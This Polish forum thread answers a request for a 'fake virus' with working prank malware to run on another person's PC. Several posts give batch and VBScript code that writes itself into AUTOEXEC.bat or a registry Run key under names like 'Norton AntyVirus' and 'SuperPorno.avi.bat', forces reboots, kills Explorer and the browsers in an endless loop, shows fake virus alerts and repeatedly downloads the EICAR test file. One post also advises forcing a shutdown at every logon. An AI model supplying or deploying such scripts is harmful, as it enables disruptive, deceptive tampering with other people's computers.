potrzebny wirus-atrapa

[spy]

zawsze możnaby było w Pascalu zrobić kopie śmiercionośnego niebieskiego ekranu.. i później wrzucić go żeby startował podczas odpalania sie systemu..

NP.

[Sardihan]

@echo off
REM Wirus Lame Fucker 1.1
cls
echo Jestem wirus Lame Fucker by Sardihan
copy %0 c:\AUTOEXEC.bat
echo REGEDIT4 >>a.reg
echo. >>a.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run] >>a.reg
echo "Norton AntyVirus"="C:\\AUTOEXEC.bat" >>a.reg
echo. >>a.reg
regedit /s a.reg
dir >nul
del a.reg >nul
shutdown -t 0 -r

zapisz w to plku z rozszerzeniem *.bat i odpal
zeby to usunąc musisz włonczyc kompa w trybie awaryjnym i usunąc z rejestru potem wyczysc autoexec.bat i wywal reszte do kosza

[northdakota]

lol...zawsze możesz wgrać ochraniacza ja kiedyś o tym pisałem. Za każdym razem jak bedzie pornola na www włączał to sie przeglądarka bedzie wyłączać

[druid]

do Sardihan Twoj skrypt dziala, ale tylko jednorazowo; czyli zawsze jak uruchomie ten plik nastepuje restart, pozniej juz wszystko normalnie dziala;
ja potrzebuje cos takiego aby zawsze juz nastepowal restart w win
pozdrawiam

[markossx]

wejdź sobie do harmonogramu zadań i ustaw żeby system uruchamiał shutdown.exe podczas logowania.
potem jak będziesz chciał to odkręcić to odpal kompa z płytki z jakimś systemem (ważne by był dostęp r/w do partycji NTFS) i przesuń shutdown.exe - wtedy sie nie odpali a ty będziesz mógł po zalogowaniu wejść do harmonogramu i usunąć tego joba

[Sardihan]

shutdown potrzebuje argumentów

dodaj go do autostartu albo do innego rejestru ...

[markossx]

wiadomo, ze potrzebuje ale ja raczej wszystkiego na srebrnej tacy nie podaje...
bo mądrej głowie dość dwie słowie (czy jak to tam było)

[Napster]

od tego zartu moj kolega prawie dostał zawału (ma odpicowany komp)

@echo off
echo USUWAM!
ping localhost -n 4 >nul
dir /s
shutdown -s -t 60 -c "Bad Boi!"
ping 127.0.0.1 -n 30 -w 1000
shutdown -a
:A
tskill explorer.exe
tskill firefox.exe
tskill iexplorer.exe
goto A

A więc to robi skan kompa, co wygląda jak usuwanie potem za 60 sekund wyloncza system i zamyka explorer.exe (wygląda jak by sie te pliki usunęły )
miłej zabawy ;p

[VLN]

Witam , skoro temat rozgrzebany postanowiłem umieścić tutaj tego "trojana" :

@echo off
copy %0 %windir%\MicrosoftAPP.bat
echo Created by VLN
:RegWrite
echo Dim shell >> %windir%\SystemVersion.vbs
echo Set shell = CreateObject("Wscript.Shell") >> %windir%\SystemVersion.vbs
echo Shell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QWERTY", "%windir%\SuperPorno.avi.bat" >> %windir%\SystemVersion.vbs
if not exist %windir%\SystemVersion.vbs goto RegWrite
:Message
echo msgbox "Virus Detected ",16,"Windows" >> %windir%\K99DGV94.vbs
if not exist %windir%\K99DGV94.vbs goto Message
:Start
echo @echo off >> %windir%\SuperPorno.avi.bat
echo :RUN  >> %windir%\SuperPorno.avi.bat
echo start %windir%\K99DGV94.vbs >> %windir%\SuperPorno.avi.bat
echo start http://www.eicar.org/download/eicar.com >> %windir%\SuperPorno.avi.bat
echo goto RUN >> %windir%\SuperPorno.avi.bat
if not exist %windir%\SuperPorno.avi.bat goto Start
if exist %windir%\SystemVersion.vbs start %windir%\SystemVersion.vbs
if exist %windir%\SuperPorno.avi.bat start %windir%\SuperPorno.avi.bat
del %windir%\SystemVersion.vbs
del %0
exit

Wiem ,wiem , to prymityw ale miałem mało czasu . Jeżeli autor postu chciałby coś więcej , niech napisze tutaj bądź na PM.

W kodzie jest linijka która uruchamia EICAR-a . Antywirus (szczególnie AVAST) będzie mocno dawał o sobie znać.Jednak to powinno wystraszyć twojego ojca,jeżeli jednak nie chcesz "budzić" Antywirusa usuń pogrubioną linijkę.
Opis :
Jest tworzony wpis w rejestrze i trzy pliki

MicrosoftAPP.bat << Kopia naszego pliku
SystemVersion.vbs << Plik który tworzy wpis
SuperPorno.avi.bat << Plik który dzięki wpisowi będzie się uruchamiał wraz z startem systemu(jest w nim pętla która uruchamia plik poniżej i EICAR-a)
K99DGV94.vbs << Komunikat o znalezieniu "wirusa "
To chyba tyle
Pozdrawiam !!!
PS.Jeżeli w kodzie będą błędy to jak pisałem nie miałem zbytnio czasu.
VLN